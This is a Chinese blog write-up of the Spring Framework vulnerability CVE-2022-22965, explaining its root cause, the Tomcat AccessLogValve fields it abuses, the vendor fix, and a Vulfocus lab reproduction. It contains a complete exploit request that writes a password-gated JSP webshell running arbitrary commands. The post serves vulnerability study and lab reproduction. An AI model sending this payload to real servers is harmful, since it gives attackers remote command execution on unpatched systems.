【Vulfocus】CVE-2022-22965:Spring core RCE漏洞

【Vulfocus】CVE-2022-22965:Spring core RCE漏洞

漏洞影响范围

1、JDK版本为9及以上

2、使用Spring框架及衍生框架的应用系统,版本低于5.3.18和5.2.20

3、目前公开的漏洞利用仅影响使用Tomcat中间件且开启了Tomcat日志记录的应用系统

漏洞原理

类似CVE-2010-1622漏洞,CVE-2010-1622漏洞的原因是Spring参数绑定时,可以注入一个Java pojo对象,这个对象可以是恶意的去注册一些敏感tomcat的属性,最后通过修改Tomcat的配置来执行危险操作。假设我们的业务逻辑中有这样一个User。

public class User {

    private String name;
    private int age;

    public User() {
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

Controller接收User参数,Spring会自动解析接收到的参数

@RestController
public class UserController {
    @RequestMapping("/hello")
    @ResponseBody
    public String hello(User user) {
        return "hello" + user.getName() + "!";
    }
}

如果用户传入的是http://localhost:8080/hello?name=Roderick,那么Spring会调用User.setName('Roderick')对User类的name进行赋值。也就是攻击者可以直接调用Pojo对象的属性,settergetter方法。

//所有Java对象的父类都为Object,Object拥有一个getClass方法用来获取对象的Class
public final native Class<?> getClass();

而Class对象又有getClassLoader,这个在Tomcat中会获取到org.apache.catalina.loader.ParallelWebappClassLoader(负责加载tomcat中每个应用的类包,每个应用一个),它保存了Tomcat的一些全局配置。CVE-2010-1622的攻击原理就是通过传入http://localhost:8080/hello?name=Roderick&class.classLoader.xx=xxxx改变Tomcat配置的值来构造恶意操作,例如DoS、写Shell。

//利用链
class.classLoader.resources.context.parent.pipeline.first.pattern

对应这个现象的修复方式是在CachedIntrospectionResults,对ClassclassLoader做判断,二者不能连用了。也就是上述的class.classLoader.xx被禁掉了,无法再进行利用。

Spring core RCE(CVE-2022-22965)就是绕过了这个限制,因为在Java9开始,Class对象中增加了getModule方法,获取的是Module类对象,module存在getClassLoader方法,正好用来写一条新的利用链。

Java的最小可执行文件是Class,jar则是Class文件的容器,可以打包许多Class。如果要运行一个jar应用,命令如下。app.jar是打包的应用,a.jar等是可能用到的第三方jar包。

java -cp app.jar:a.jar:b.jar:c.jar org.com.sample.Main

如果少引用了某个jar可能出现ClassNotFoundException的报错。因为jar作为容器,只打包Class,并不关联Class间的依赖。

而JDK 9开始引入的Module则是主要解决“依赖”的问题。能让a.jar自动定位到依赖的b.jar。Module类的设计引入了getClassLoader方法,返回此模块的ClassLoader。这也是Spring core RCE绕过限制的原因,class.classLoader被禁止了,但是在JDK9之后可以写成class.module.classLoader,获取到ClassLoader后就可以利用之前的方式将shell写进日志,保存日志到web目录下getshell。

//利用链
class.module.classLoader.resources.context.parent.pipeline.first.pattern

该漏洞通过修改 Tomcat 的日志设置(通过AccessLogValve)来写入恶意文件,AccessLogValue主要利用字段

字段 含义
directory 将放置此 Valve 创建的日志文件的目录的绝对或相对路径名。如果指定了相对路径,则将其解释为相对于 $CATALINA_BASE。如果未指定目录属性,则默认值为“logs”(相对于 $CATALINA_BASE)。
prefix 添加到每个日志文件名称开头的前缀。如果未指定,默认值为“access_log”。
suffix 添加到每个日志文件名称末尾的后缀。如果未指定,则默认值为“”(长度为零的字符串),表示不会添加后缀。
fileDateFormat 允许在访问日志文件名中自定义时间戳。每当格式化的时间戳更改时,文件就会旋转。默认值为.yyyy-MM-dd。如果您希望每小时轮换一次,则将此值设置为.yyyy-MM-dd.HH。日期格式将始终使用 locale 进行本地化en_US
pattern 一种格式布局,用于标识要记录的请求和响应中的各种信息字段,或者选择标准格式的 commoncombined

commoncombined包括%a %A %b %h %u等,另外,还支持从cookie、请求头中传入等:

%{xxx}i 请求头中传入
%{xxx}o 响应头传入
%{xxx}c 特定cookie传入
%{xxx}r xxx是ServletRequest中的一个属性
%{xxx}s xxx是HttpSession中的一个属性

网上随便找的POC

suffix: %>//
c1: Runtime
c2: <%
DNT: 1

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

注:POC中class.classLoader.resources.context.parent.pipeline.first这个属性实际是org.apache.catalina.valves.AccessLogValve

​ dataformat会触发切换日志的原因是class.classLoader.resources.context.parent.pipeline.first.rotatable,每次Log时,都会调用rotate。

最新的spring官方修复

可以看到,这次官方不在采用黑名单的形式去防御,而是采用白名单,当beanClass是class.Class时,只允许添加name属性。并且如果属性是ClassLoader 和 ProtectionDomain,会被忽略。

漏洞复现

Vulfocus 搭建环境

开环境,burp抓包change request method,上POC,一套流程顺畅的一P

页面访问直接RCE

github上也有很多python的利用工具,可以直接使用。。

参考文章

https://www.jianshu.com/p/e0c7a03e40d2

http://rui0.cn/archives/1158

https://www.freebuf.com/vuls/327457.html

https://blog.csdn.net/weixin_45794666/article/details/123918066

posted @ 2022-04-18 15:25  九天揽月丶  阅读(1193)  评论(0编辑  收藏  举报